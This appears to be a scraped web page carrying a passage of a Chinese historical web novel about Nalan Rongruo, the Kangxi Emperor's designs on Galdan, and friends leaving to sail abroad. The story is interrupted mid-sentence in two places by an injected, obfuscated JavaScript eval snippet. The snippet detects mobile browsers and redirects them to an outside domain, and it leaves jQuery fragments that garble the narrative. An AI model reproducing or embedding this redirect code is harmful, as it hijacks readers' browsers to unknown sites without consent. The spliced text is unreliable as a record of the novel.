曹寅领了李福连上座,也给李公公的三个徒弟小太监准备碗筷和酒食,又叫了家仆过来好好招待,才离席而去。 * 回到好友们之间的桌席后,曹寅并未对大家提及自己听来的情报。 几巡美酒落肚,曹寅醉意上头,双颊微红。 曹寅趁着酒兴道:“禹画师,云辞格格,你俩这次铁了心往外走,可是闹的满城风雨、连街头巷尾的老百姓都只知道了。我从‘花鸟风月楼’的楼主张纯修那听说,航船出发之日,有不少自发去为你俩壮行的老百姓。” “其他话说多了,其实都是借口。”云辞夹了一块紫米糕到碗中,“现在已经不是洋人们学习东方了,而是大清朝该有人出去放眼看世界了。” “你对康熙皇帝说实话了吗?”格尔芬问,“皇上什么反应?” “皇上只说:‘朕要叫你俩记着,朕是个明君,能在你俩归国后把大清变个样!’我就说,用不着皇上把大清彻底改头换面,能把阻碍国力强盛的三藩平定,就算是皇上的大功一件!” 禹之鼎顺着云辞的话往下说:“皇上的反应是:‘你俩等着瞧吧!朕不会叫天下百姓失望,也不会叫列祖列宗失望!’然后皇上就同意我和云辞对着帝师南怀仁一同备航了。” 纳兰心想: 哦,原来玄烨之前跟我说的那句“朕警告云禹二人,如果敢不回大清,朕就——”是骗我的呀! 既然我已经上当,就算了吧,只要云辞和禹之鼎得到了皇上的首肯就好。 “纳兰兄,你在想什么?”格尔芬笑问,“难不成是在暗暗酝酿好词?” “我觉得有点怪。”纳兰看着对方,“我现在回归到了日常,进出皇宫频繁,瞧见侍卫们站岗的严阵以待、巡逻的在各处多有行走,为什么格尔芬你还有空闲时间来参加曹寅的喜宴?” “这我不晓得,总归是上头没给我下命令,皇上也没有单独给我做指示。”格尔芬看向曹寅,“子清你可有得到特殊任务?” “没有。” 曹寅应的简单。 过后,曹寅转了几席旁的酒桌之后,已经喝醉。 其阿玛曹玺便叫了人过去,带儿子先行醒酒。 * 纳兰入夜才归。 归时,他与索二公子同路而行。 “纳兰兄,你跟子清都娶妻了,唯独是我……对自己的婚事没有什么牵挂。” “索大人没有给你挑几个好的格格?” “温婉的女子我不喜欢,刚韧的女子我也不喜欢,管束我或是代替阿玛监督我的女子,我更不喜欢。”格尔芬苦笑,“我有百十个挑剔的理由,却不知道自己喜欢什么样的女子。” “其实你想明白了也没用。”纳兰实话实说,“将来太皇太后或是皇上要给你指婚,你还能抗旨不成?” 格尔芬忽然问:“你娶卢氏之后,幸福吗?” 纳兰认真想了想,道:“尔谖对我极好,但我却是对她一边接纳一边宠爱,还没有百分百两情相悦的地步。要说最近她做了什么让我内心感动的事,就是她在我睡后吻了我的侧脸。” “谁叫你装睡?”格尔芬笑话纳兰,“她要是去倾听你的心跳,你不就一下穿帮了?” “也是。”纳兰不好意思,“但我宁愿留给尔谖情思绵绵的余地,也不想忽然睁眼有所反应。夫妻之间,最难得的就是:一方付出真心之后,在心里默默想着对方的好,且把这份真心藏在心里,只敢在对方‘未察觉’之时临着美好的月色倾注。” 格尔芬问:“卢氏现在,应是未管纳兰家的家事吧?” “家事是我的侧夫人颜氏在管,颜氏向来稳妥,阿玛和额娘也放心。” 纳兰伸手,试图接住天上的月华。 这般明亮这般清丽的月色,该有闲情驻足来看。 格尔芬当真是能够呼应纳兰所想,立刻邀了纳兰到近处的茶楼,包下了近窗得月的位置,吩咐店小二上素点和温茶。 纳兰作《临江仙·小楼得月》一首。 宴罢别友归去,身披月色似缝。行至半途烟重重。小楼声霄近,把盏泥炉红。 莫问归时何处,小倦笼身朦胧。三言两语对茶浓。谁家鸳鸯梦,共枕此更中。 与格尔芬在交叉路口分别时,纳兰有话对他提醒。 “今夜能与索二公子在小楼中再得饮茶赏月之趣,是容若之幸。容若有一言相告:你在侍卫营中要多加留神,皇上密排勤务却未见你和曹寅加入,必有原因。” 格尔芬直言问道:“根据你对皇上的了解,是什么原因?” “现在我瞧不出来。但是给你说一声总归是好的。” “多谢纳兰兄!” * 几日后。 康熙皇帝的书房内,多了一幅禹之鼎所绘制的《草原图》,纳兰容若应康熙皇帝的要求,前来“赏画”。 “纳兰,看你还跟以前一样,朕不知道自己是安心,还是不甘心。” “失望过大才会心痛,臣没对皇上失心就好。” 回想起之前向玄烨“低头”的场景,纳兰自身重归平静。 “补殿试”得“全国第十名”之事,算是完全过去了,纳兰性德让天下读书人看到的结果,无非是这样一个过程—— 纳兰性德的存在对康熙皇帝而言非同凡响,名次什么的全是虚的,哪怕是把状元之位让出来屈居二甲之尾,那“大清第一陪臣”和“大清第一才子”的身份也没变过。 纳兰性德闭门“思过”了一段时日,终于把什么都想明白了,重新抬起头来做“天下人的纳兰公子”,继续留在天子身侧用自己的言行来影响时局。 史册对此的记载,简单到只有一句话带过:成德补殿试,得二甲第七,帝爱用之,深为之器【注1】。 * 纳兰第一眼看那幅画,只感觉是一派辽阔无垠的草原图,风吹草低见牛羊;第二眼再看,他发现了草原的位置,那里有着荒漠与石地,还真不是普普通通的大清国土,而是噶尔丹汗所统领的北蒙古! 再仔细看第三眼,可了不得,上面竟然有玄烨亲自用朱笔勾画的细微痕迹,就在北蒙古与大清的边界线处。 “朕现在打不了南方的吴三桂,所以决定北上打噶尔丹!” “皇上打噶尔丹的理由是什么?” “噶尔丹在为朝廷平息北蒙古各部族的战乱的同时,日益强大,成为了威胁大清领土完整性的威胁!” “皇上拿出这条理由出来,只算作是预测,满朝上下谁能够认可?怕是有心之人只会说:康熙皇帝未攻下三藩,一时冲动,就把矛头指向了噶尔丹。到时候就不是皇上为捍卫疆土而战,而是噶尔丹会以‘大清师出无名’为由,堂堂正正地向朝廷进攻。” “噶尔丹狼子野心,迟早会反了朕!” “皇上三思。”纳兰平静地给玄烨做分析,“伐敌之师,需有三大动因:其一,敌者残暴无道、鱼肉百姓,天道当诛;第二,敌者背弃盟约、倒戈相向,不义当诛;其三,敌者阳奉阴违、两面三刀,皇权不容。” “敢问皇上,噶尔丹是触犯了哪一条?使得皇上非出动武力不可?” “噶尔丹要是处处让朕看得出来他的不臣之心,朕还需要出其不意地进攻吗?”玄烨皱眉盯着《草原图》,“朕就是要对噶尔丹先下手为强。” “起战事,首先要得到百姓和朝臣们的支持,才能叫做‘义’。”纳兰劝谏道,“皇上决策虽是符合大局,但却没有顺民心、稳朝纲,要如何激发将士的气势?更何况如今即将入夏,草原燥热难挨,也不是作战的好时机。” “少在朕面前说孔孟之道!”玄烨倔气,“军队是朕的,臣民是朕的,决策方略自然也应该都由朕说了算。” “皇上你看这儿——”纳兰指向《草原图》的一隅,“咱们大清只能跟噶尔丹打陆战,草原地形无疑是对方占优势,咱们大清的铁骑擅长的是箭术而不是草原兵力惯用的游击战,还是需要演练和教习打法之后,再长驱北上不迟。” “好!朕就给你一个机会。” 玄烨本想说出“叫你写出一本《大清骑兵用法论》来,给我军定个准则”,却终究是做了罢,只把心思用在后续的筹谋上。 纳兰识趣,未问玄烨的本意,道: “臣听说,噶尔丹汗手下的蒙古骑兵极其勇猛,被称为:大汗的马鞭。而且,那些蒙古骑兵能站立在马背上拉弓和挥矛!所以皇上,臣有个建议——” “朕想听你说话,但是又不想听你说某些话,你懂朕的意思吗?” “臣就是因为懂得,才直言不讳。” “那朕就准了你说且恕你无罪。” “皇上既然铁了心要挑起噶尔丹的警觉,那就另辟蹊径让他—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422577|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想反也不敢反。就跟皇上想打也没有足够的理由去打一样。” 玄烨被纳兰的全新思路一激,瞬间喜上眉梢。 纳兰在玄烨耳边说了几条对策,玄烨连连点头,道:“你言之有理。” “请皇上,步步为营。” “朕,会仔细思虑着你的对策来行事。” 君臣之间默契一笑,仿佛往事已经恩仇尽泯。 纳兰告退后。 玄烨在书房内徘徊几巡,然后停在《草原图》面前,心中主意已定。 ——这个噶尔丹,竟敢将自己与康熙皇帝、沙俄彼得大帝并称为世界三强统治者,简直是狂妄自大,不把朕视为大清的最高权威者。 ——朕迟早有一天,会亲自率领大清军队平了噶尔丹,叫天下叫世界都知道,康熙皇帝才是雄才伟略至上的千古一帝。 “来人。”玄烨朝外叫了一声,“朕现在去上驷院视察!” 顾总管一听,反应了过来,上驷院是皇宫里养马的地方,万岁爷这是要亲自检阅马匹的情况、让那些骏马在将来有发挥用处的机会啊。 * 徐乾学终究是在《通志堂经解》的署名事件上做了罢。 他坐在翰林院中,面无表情地看着各司其职的同僚和新人们,打着心底里没认为那些人能够做出什么辉煌成就来。 ——顶多就是对经典修修补补、对史料重做考证、写出偏偏盛世文章来罢了,那些人跟还在苦读的文人们的区别,不过是“有无俸禄”和“是否为朝廷办事”而已。 他发出几声冷笑,从盒子里翻出了自己的印章。 轻抚印章的玉柄,清冷的不似初夏,唯独是那在白纸之上按压下去之后实感、和那朱红色的印迹,双双展示着他那份虚荣心和自傲感。 有礼部官员前来,宣读了康熙皇帝的旨意。 大意是:皇后娘娘即将生产,翰林院上下要做好:“拟写皇嫡子圣诞的贺文”和“撰写称颂爱新觉罗皇室多子多福的篇章”的双重准备。 徐乾学接旨,恭敬道:“臣等必定不辜负皇上所望!” 礼部官员道:“徐大人,你说自打三年前遗漏汉军旗副榜的录取名额至今,你是死皮赖脸留在京师不肯走,毁誉参半,没有做成过一件好事。多亏了自请辞官的蔡启僔蔡先生为人低调、在江南扎实办学,兴盛了江南一带的学风,翰林院的大儒们的名声才没有跌落到谷底。皇上可是全部看在眼里的。” 徐乾学指着桌面上的带着印章的纸张道:“本官与爱徒容若志坚行苦,终成大作《通志堂经解》,这难道不是流芳百世的大举?怎可说本官一事无成?” 礼部官员只轻瞄了那张纸一眼,就当众大声道: “徐大人,诸位大人和编修们,皇上已经下旨将蔡启僔召回翰林院再用了,这个夏季,翰林院会是一番如何的新风貌,真叫人拭目以待啊!” 徐乾学的眉头不自然地一动。 ——蔡启僔回来了? ——那,那个巴不得找人去救友吴兆骞的顾贞观,是不是犯不着到本官府前或是明珠府邸去“闹事求援”了呀?只管去找蔡启僔试试吧! * 明府。 星夜静好。 明珠进入容若的房间内,见容若在看桌面上的一本医书、一本陈廷敬和张玉书主编的《康熙字典》样稿、一幅康熙皇帝亲手书写的“福”的临摹本,就问他:“儿啊,你怎么忽然把这些东西拿了出来?” “这些是儿为云辞格格和禹画师准备的。”容若笑道,“他俩到了西洋以后,需要有医书来防寒保暖、除病息灾;《康熙字典》则是可以向洋人们小小科普华夏汉字,是扬国威的可行举措;这个‘福’字是皇上写给我的,我临摹了一幅一模一样的,希望把平安和好运传递给他俩。” “你倒是有心。” “阿玛来找我,什么事?” “宫内侍卫营的侍卫们对朝廷命官多有搜身和盘查,连本官都不例外,被搜了几次身,这是为何?侍卫营直接对皇上负责,皇上这是何意?” “阿玛您等着瞧,后宫马上就会发生大变故。蒙古妃子额哲氏怕是活不了多久了,她一死,皇上和噶尔丹之间必有交锋。只是皇上原本相对草原动武,被儿子劝后,改对噶尔丹降低朝廷拨给标准和驳回封‘大蒙古天汗’的请旨了。” “这可是军机大事啊!” “不错,所以侍卫营才要严守皇宫安危,以免噶尔丹被逼反,逼宫皇城。” 明珠大惊! “儿啊,这噶尔丹万一真的反了、且反到了皇宫里,那就是皇后娘娘的生产难保、宫中珍宝难存、宫阙安泰难稳、皇上皇位难全啊……你一个不留神,仔细成了千古罪人。” “噶尔丹敢怒不敢反。”容若沉着道,“这就跟皇上想打北蒙古而师出无名一样。” “哦?哦!”明珠一下子悟了,“这算是皇上和北蒙古势力之间的博弈,容若你做的好,是该叫皇上先摆正朝廷的立场、让噶尔丹在‘称臣’和‘谋逆’之间再做选择,才是上策。” “儿的这番安邦之策,只能安一两年,过后皇上还是会打北蒙古。儿的意思是,皇上派兵去打北蒙古只是对噶尔丹的武力行动,用作歼灭噶尔丹称霸的野心;等到皇上御驾亲征,就是必平噶尔丹、捍卫大清国土完整性了!!” “嗯。”明珠点头,“到时候你跟着皇上去,阿玛不会阻拦你。” “如果——” 如果我纳兰容若能活到那一天的话,必定追随效忠皇上亲征的御驾。 明珠离开后。 侧夫人袖云进来,关切道:“明日公子要早起去送别云禹二人和帝师南怀仁,今晚就早些歇下吧?” “好。”容若应完,拉过侧夫人的手,温笑道,“今晚你陪着我同寝。” “是。”袖云喜悦。 【注1】 帝爱用之,深为之器:康熙皇帝喜爱和留用纳兰,有深意地用这种方式来“器重”他,以制衡明珠的权势。 128.第128章 官云辞和禹之鼎,以及帝师南怀仁离开大清国的当日,纳兰容若前去送行。 云辞看着坦途,笑道:“本该是叫公子站在海岸边朝大船招手的,现在却是普通的车马行程南下去往上海沿海,才能看见大船。” 容若爽朗道:“我一生爱水离不开水,今日送云辞你和禹画师去往近水处,这一程陆路走的也值得。” 容若从随行的家仆手中,拿过自己为云禹二人准备的赠礼。 他将自己临摹的“康熙福字”、一本厚厚的医书、一本《康熙字典》样本,对两位好友郑重相交。 “公子比我阿玛有心。”云辞珍惜容若所赠,“阿玛只会让带象征身份的东西和必须的衣物,我又不是去西洋参与宫宴或是度假,带那些没用的做什么?” “天下的父母都一样,对儿女的重视都表现在物质给予和教养栽培上。”容若看得透彻,“我们只能心怀感激。” “皇上御赐了我一件锦袍、两方端砚、诸多画笔和画纸。”禹之鼎盘点起来,“还包括三卷世界地图。” “皇上擅长观摩地图。”容若又想起了跟噶尔丹相关的,《草原图》,就问禹之鼎,“皇上叫你画噶尔丹地貌图的时候,可有说过别的话?” 禹之鼎一怔,道:“皇上没叫我画过那个呀!” “啊?”容若像是忽然看透了什么一般,“那个《草原图》竟然是皇上的御笔亲绘吗?看来在五年内,皇上对噶尔丹是势在必打了!” 禹之鼎问:“你是指皇上打硬仗?还是军事预行动?” 容若心绪复杂,源自他对康熙皇帝的看透又看不透。 “这要看三藩和台岛的平定与收复的进展,这两大棘手的麻烦事彻底解决了,皇上就能向噶尔丹打硬仗,否则都是抱着‘警告目的’的出兵行动。” 路途中,容若问起了云禹二人对未来的展望。 云辞道:“刚开始,我只是觉得西洋的一切都很新鲜,后来,我就觉得西洋文化有西洋文化的可取之处,尤其是西医和纺织。而现在,我从南大人那里摆弄过望远镜、西式火枪和各种测绘仪器之后,又深深感叹洋人们在科学技术方面真的是走在了大清前头。” “皇上很喜欢西洋之物。”本着对康熙皇帝的了解,容若继续道,“只是西洋的东西数量稀少,仅仅限于帝王的把玩和赏赐下臣,很难人人用之。” “所以这次出国,回来以后我会把自己的见闻写成书,好好向国人科普洋学。”云辞怀抱憧憬,“哪怕是被顽固势力抵制,我也要坚守本心。” “我会支持你。”容若坚定道,“我作为满人,集汉学之博渊,得西学之迥异,已是在血液里兼容华夷之道。所以,我希望自己的西学之向,能够为后世所知。” “我赌史官们不会这么记载。” 禹之鼎笑道。 “容若你是个彻彻底底的文人才子,身上已经被许多标签所烙印,唯独‘夷学’二字史官不敢往你的事迹里面放。我也一样,被定型成了大清最擅长画人物肖像的宫廷画师,哪怕我习得西洋的新画法和新理念,归国后也在如意馆中把洋画的精髓发挥到淋漓尽致,同僚们和史官们承认的,也只是:禹之鼎,工人物肖像,有长康(指:东晋画家顾恺之)之风。” “禹兄,你可知道有个方法——”容若心境坦然,“可以调节现实与梦想之间的落差?” 禹之鼎奇道:“什么方法?” 容若豁达而应:“就是对自己说‘值得’二字。” “好!”禹之鼎一仰头,“那就由我来喊:纳兰容若,学贯中西,值得;禹之鼎,画通华夷,值得!” 两人共鸣而笑,心情舒畅。 云辞朝气蓬勃,声线朗朗,积极道:“日后,我真希望自己能够办个洋学堂,学堂里面能够有女学生。” “在大清开新风,是好事呀!”容若振奋,“云辞,我和禹兄都拭目以待。” “就此告别,云辞禹兄,等待你俩归国之日。” 送友终将别,容若拉住了马匹的缰绳。 云辞边挥手边道:“公子曾对我提及过自己想要的西洋礼物,我还记得,到时候我会带回给公子。” “哦,那个呀……” 容若一笑,记起来了,自己确实是跟云辞提起过的。【注1】 “公子再会——” “容若再会——” “再会。” 容若朝二人久久挥手,直到二人的身影消失在视线中。 * 容若送官云辞和禹之鼎到城郊外数百里才返。 一只鸟儿从他头顶飞过,令他在羡慕别人的自由之余,也笑了笑自己。 “自由”这个词,对纳兰容若而言,是康熙皇帝和阿玛明珠肯不肯给、给不给得起,真是荒诞可笑又骨感真实。 接下来,云辞和禹之鼎不在,曹寅娶了妻,自己这一身的孤独感真真切切地在加剧。许多话,跟谁说好?尔谖或袖云吗?还是唯一的知己沈宛? ——沈宛如今在干什么?她心里念着我吗? 容若并未直接回家,而是顺路策马奔向明府的西郊庄园。 庄园空旷寂寥,安静的只剩下燥热的风浪和奇怪的陈朴气息,越是往里走,容若心里就越是这般感觉: 偌大的房产,只有自己这个暖场者,想来真是寂寞。 此处不宜居,用来当作骑射的场子,但是物尽其用。 容若用手指沾惹了一抹尘,透过光影,深感人之如是。 他离开前,往空地处播撒了一些随身带的花种,有的花适合在夏秋之交种,冬来之前亦是能开能看,哪怕是一个人独自面对,也没关系。 花开美好,不分时节,看着看着,就会不自觉地笑起来。 向来自知,一往而深,诸行无常,但愿不落此花身、不误此尘心。 * 玄烨步入后宫,在惠妃的延禧宫落了脚。 见皇上到来,惠妃心中高兴,便吩咐远黛去准备皇上爱喝的茶叶。 同时,她也将自己亲手为皇后娘娘腹中的皇嗣绣的小肚兜和虎头帽拿了出来,告诉皇上自己正准备亲自送到皇后娘娘手里去。 玄烨夸赞:“惠妃贤惠,能够为赫舍里着想。” 惠妃道:“臣妾生下皇长子的第二日,皇后娘娘赶早就来探望,这份恩情是不能忘记的。臣妾母子平日多得皇后娘娘照抚,方能平平安安。臣妾在协理六宫的过程中,也多得皇后娘娘提点,明白了‘百花齐放才是最好’的道理。” “你与皇后姐妹情深,朕很是欣慰。” 玄烨叫了胤禔过来膝上坐,“大阿哥差不多到了上学堂的年纪,朕会叫师傅陈廷敬亲自来教。” 胤禔喜悦而兴奋:“儿臣谢皇阿玛!” 玄烨嘱咐:“大阿哥,你要好好向学,给你的皇弟们做榜样。” “儿臣谨记皇阿玛教诲,必定勤奋上进,不辜负皇阿玛的期待,认真聆听老师授业的内容,风雨无阻,无论冬暑。” “好!”玄烨点头,“顾总管,你带大阿哥去上书房看看。” “奴才遵旨。” “儿臣告退。” “去吧!” 玄烨喝过远黛泡的茶,装作随口对惠妃道:“近来入夏,气候炎热,要多提醒各宫注意火事。” 惠妃觉得玄烨的话蹊跷,但是又一下难以揣测玄烨的用意,便应了:“是。” “蒙古妃子额哲氏迁回后宫居住以后,可还有对位分高的嫔妃出言不逊之时?” “回皇上,臣妾未曾听闻有别的妹妹来诉,所以猜测额哲氏应当安分守己、未有逾矩之行。” “皇后身子重,太皇太后那边你要多去请安。还有,最近到了遣散年长的内宫太监离宫的时节,那些恩赏的例银,你要从各宫上报的数目里面仔细去核对,不要忙中出错,叫不懂事的嫔妃钻了空子。” “是,臣妾核对数目之后,会分抄两册,一册交给皇上查看、另一侧送去内务府待办。” “好。这样朕就放心了。” 玄烨拍了拍惠妃的手心背。 “朕还有事,先回养心殿。” “臣妾恭送皇上。” 等到康熙皇帝离开,惠妃在宫内的小花园中散步,心情复杂。 她用护甲碰了碰一朵丁香花,道:“皇上说的每一句话,本宫听着都有弦外之音。” 远黛道:“娘娘,奴才也是觉得奇怪,像是‘防止走水’和‘给年老返乡的太监宫女发赏银’之事,都是后宫的内务杂事,皇上不该过于拎出来说才是。” “多留神着点。”惠妃道,“后宫人多心杂,稍有不慎就会万劫不复。” * 另一边,索府。 索额图刚刚到家,就看见了已经等待许久、迎面而来的夫人。 佟佳氏眼眶微红:“老爷,云辞格格和禹画师出国之后,咱们的长子阿尔吉善……也没跟你这个阿玛打招呼,就往施琅大人所在的福建水师去报国建功了!” “你这妇道人家,哭什么哭!”索额图快步往厅内走,“皇后娘娘有喜,忌讳这些。” “阿尔吉善这是准备上战场啊老爷!水战不比陆战。” 佟佳氏的意思,是万一长子为国捐躯,尸首掉入海底,那是找也无从找、捞也无从捞,当真是一了百了了。 “你就该庆幸两个儿子都出息了,能敢不经本官的同意一前一后去打仗。”索额图取下和朝珠,“咱们儿子福大命大,只会建功立业,不会遭遇不测。” 来到厅内坐下。 喝了茶,索额图道:“赫舍里一族交接到本官手中,只会变得越来越旺:皇后即将诞下嫡子、索家公子精忠报国,阿玛索尼泉下有知,必将欣慰而笑。” “老爷,您之前不是一万个反对儿子去打仗吗?”佟佳氏不解,“怎么现在态度大转?” “阿尔吉善都已经出发了,本官还能改变什么?难不成派人去把他押回来?”索额图摆出看得开的姿态,“管教子女,也是要时时转变观念的。” “万一阿尔吉善在福建找了个门第跟咱们家对不上的姑娘私下成亲,可如何是好?” “夫人怎么往那方面去想?”索额图哈哈大笑,“阿尔吉善要是真把赫舍里一族的尊卑舍弃了,咱们不是还有次子格尔芬可以好好定夺姻缘吗?” “凡事都有万一啊!阿尔吉善纯粹是娶妻生子、觅得一份真感情真家缘也就罢了,他要是就此定居福建不回来了,老爷您百年之后的家业,打算让谁继承?格尔芬可是明确表示过不想接手这一大家子的。” “夫人多虑了。”索额图很是淡定,“本官的家业今后全部仰仗皇太子!” 佟佳氏一惊,差点把手帕掉在地上。 照夫君的说法,他接下来是要全力扶植“太子党”了,就算是手段用尽,也要让皇上把赫舍里皇后肚子里的孩子侧立为将来的储君。 “本官手里有皇后嫡子这张牌,一切都好说。” 索额图用玉扳指敲了敲茶碗的侧壁,脸上带着深不可测的笑容。 * 蔡启僔复归翰林院当日,徐乾学“洒泪”相迎。 翰林院内跟蔡启僔有交情的大儒们,也是个个心怀感动,等待着蔡大人前来,与之再度往后春秋。 一瞧见蔡启僔的身影,徐乾学便匆匆上前,拱手道:“与蔡大人三载未见,本官甚是想念。” 蔡启僔并未应答,只是随着旧同僚的步伐往里走。 徐乾学就跟报喜一般,畅快道:“蔡大人不在的这些日子里,最值得一提的是:爱徒容若成就显著,像是《渌水亭杂识》《通志堂经解》都已经刊刻成集和发行面世,可供天下读书人们购买与阅览了。” “徐大人,你的名字可是刻在纳兰成德的旁边啊?” “可不是吗?本官想要自谦让功,可是形势所迫,不得不与爱徒容若平分秋色,共得世人瞻仰。” 说着,徐乾学带蔡启僔来到一个新人面前,忧心忡忡道: “蔡大人你看看那新科状元彭定求,那家伙入翰林院以来,除了熟悉院务和翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14432874|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看书籍之外,可以说是毫无建树!” “参见蔡大人!”彭定求行礼完毕,转向徐乾学,“回徐大人话,学生昨日到康熙皇帝御前献策了——” 蔡徐二人皆惊讶。 徐乾学挤出了一个笑容,问:“彭生,你这是献了什么佳策啊?莫不是看不惯近来宫里的侍卫们出勤频繁,就去皇上面前做了‘勿要浪费人力’和‘勿要慌慌人心’的提醒?” 彭定求抬头挺胸道:“学生以纳兰公子为榜样,一日三省,乃是对皇上说:‘陆战失败,不妨转向海战。’ ” 蔡徐二人相互对望了一眼,照彭定求的表达,他是倡议康熙皇帝打台岛啊? 蔡启僔问:“皇上如何回应你?” “学生惭愧,惹了君怒。”彭定求面露反省之色。 “皇上说:如今朝廷的军费开销,三分之二用于打吴三桂;外有噶尔丹军锋势强、窥视中原,使得北蒙古难以臣服于朕麾下;边境更有沙俄屡屡来犯、侵多资源,令朕多有烦扰。你却叫朕去打台岛,你当真是毫无军机之能和时局之辨啊!” 蔡启僔皱眉,“你是怎么回应的?” 彭定求道: “学生说:‘即便是不打,那也可以叫我朝沿海的百姓退居数百里,不与台岛进行商贸往来,由此台岛无法从我朝获得物资供应,割据势力郑氏自会不战而亡。’ ” “皇上听后,龙颜大怒,斥责道:‘你让朕的百姓失去生计,反而会让他们铤而走险投靠郑氏集团,彭定求啊彭定求,你这不是在给朕分忧,而是在给朕的大政方针添乱啊!’于是,学生就被赶出了养心殿。” “倒也不能怪你。”徐乾学觉得可笑,“同样的话若是从纳兰性德口中说出,皇上就不是这样的态度了。” “学生自愧弗如啊!”彭定求感慨,“但是皇上跟纳兰公子之间君臣和好,学生为此高兴。” “你真是无知啊!”徐乾学训道,“皇上跟容若之间没有不和,所谓的‘疏离’和‘打压’,都只是另一种意义上的‘不准他走’罢了。容若是康熙皇帝养在身边的没有自由的能人。” “请教徐大人,”彭定求拱手以礼,“为何天下能人那么多,皇上偏偏就看中明珠大人的儿子?” “人家出身好、家教好、相貌好、才学好、脾气好,你能比吗?”徐乾学一打量彭定求,“别说是你,别的读书人和八旗子弟,也不能比。” “照本官看,最大的原因,还是皇上跟纳兰公子之间本就有缘。”蔡启僔看得清,“缘起缘尽自有时。” 彭定求就跟开悟了一样,谢过两位座师的“解惑”,就回到了自己的位置上坐下。 ——想来自己也是冲动,对皇上说的那些对策确实句句是错。 ——若是当时纳兰公子在君侧,他会帮着圆场吗?会转劣策为良策吗? * 沈宛近来: 在“花鸟风月楼”的场子里看了出预演的孔尚任的戏剧;在“饮水词歌·素菜馆”雕刻了一枚刻有“宛若”二字的印章;在济国寺虔诚祈祷了几回与己相关的人都平平安安。 此刻,她正走在集市上,打算买些半成品菜回去热给宋应星和张岱吃。 忽然间,她听见了一阵喧哗声,原来是有两个人争吵,一个说朝廷要南下再打吴三桂,另一个说皇上决意北上征蒙古,因为辩题被炒热了,所以围观的百姓越来越多,就差惊动官府了。 沈宛心里想的是:不管康熙皇帝有没有战的打算,南北各一方,不同于京师,总归是不太平。 有“花鸟风月楼”的楼主张纯修从楼内走出,拨开人群来到了最前方。 张纯修对两位焦点人物道:“虽然说百姓也有议论政事的自由,但是一旦将想法发挥到了极致,也是会被衙门请去吃官司的。” 话题者甲:“吴三桂能赢,我看不是用了佯装人病兵弱的伎俩,而是康熙皇帝决策错误,以为岭南之师离的近,就叫岭南之师去打。康熙皇帝年轻气盛,不会认输、不会咽下这口气,定会再度进攻。” 话题者乙:“所谓:吃一堑长一智,我认为康熙皇帝短时间内不会对同一人、同一处做战略部署。北蒙古多派人来朝,蒙古使者们在街上趾高气扬,老百姓都畏惧他们三分,更是无法想象他们在朝堂上会如何挑衅天子。所以我认为天子会找噶尔丹算账。” 张纯修只笑了笑,道:“照我看,母仪天下的赫舍里皇后要诞下皇嗣了,在这样的关头,皇上是不会把心思扑在主战上面的。” 沈宛觉得张纯修说的没错。 没有什么比大清江山后继有人更重要的,皇上必定会以皇嗣为重,确保皇后母子平安之后,才会再度部署战略和掌控军机。 只是宋应星曾提起,那个神乎其神的高人高衹虚做了预言: “国母此胎,乃是龙子。皇上为抚慰皇后,将嫡子立为皇太子。” 沈宛当时就奇怪,遂问宋应星:“师傅,您确定自己没听错或是高道人没有说错?‘抚慰‘一词,貌似不妥呀!” 宋应星肯定道:“高道人道行高深,上知天文下知地理,占卜之事更是从未出过大错,你应当仔细琢磨琢磨才是。” 沈宛觉得背脊一凉,不太情愿地询问:“皇后娘娘要是在生产的时候出了什么差池,使得皇上只能做‘抚慰举措’而非‘安慰无恙’,那可就不是归咎于‘天有不测之风云’可以说得过去的了。是吧?” 宋应星捋须道:“高道人也只是对我等凡夫俗子点到为止罢了,一切都归天意。” 算了算了。 不去想跟师傅之间的过往对话了。 沈宛从渐渐散去的人群中走出,抬头望了望湛蓝的晴空。 天公尚且如此作美于人间,大清一定会四海升平、君民共享盛世的。 ——这么说来,容若娶妻也有一段时日了,他是不是也快当阿玛了? 就这么想着有的没的的问题,沈宛不禁笑自己多了心。 【注1】容若想要的、云辞出国后购自西方的洋货伴手礼,见第18章。 129.第129章 清晨,人间烟火气尚少,只有鸟鸣声循环往复。 纳兰容若坐在“花鸟风月楼”中,吃酥饼,饮早茶,等待张纯修过来。 座师蔡启僔已经归来,容若还未前去拜访。 想来,抽空到蔡先生家里去,听他说说江南旧事,看看他这三年来的文章、共论学术之事和士人风气,也是极好的。 自己输了翰林梦,座师得以被皇上再用,也算是各有各的命数,强辨不得,问理不得。 酥饼里面夹的是板栗馅儿,软糯可口,只是跟明府的“精致”相比,还差了一些细腻和几粒调味的陈皮。 容若完整地吃掉了一块馅饼后,临窗捧茶而饮。 只怪自己来的早,天色才亮,行人才动,街道才闹。 张纯修走过来。 他跟容若打了招呼和稍作问候以后,就用目光瞧了斜对面的一个客人一眼,对容若道:“容若你看见那个人没有?他就是严绳孙,跟姜宸英、朱彝尊并称:江南三布衣。” “我听汉人朋友们提过他。”容若手未释茶,“之前皇上叫他做官他不肯,后来还是进翰林院当了检讨。” “我不敢在你面前提‘翰林’二字。”张纯修拿过桌面上的玉米芡实糕来吃,“你倒好,自己说出来了。” “不瞒张兄,时不我待,机不我与,我心中始终对皇上之举介怀,不是‘遗憾’或是‘无力’二字能解。所以即便是我知道自己入宫以后,去翰林院见座师蔡启僔方便,我也不愿踏进那道门,就好像是——曾经神圣而令我向往的地方,再也不属于我了一样。” 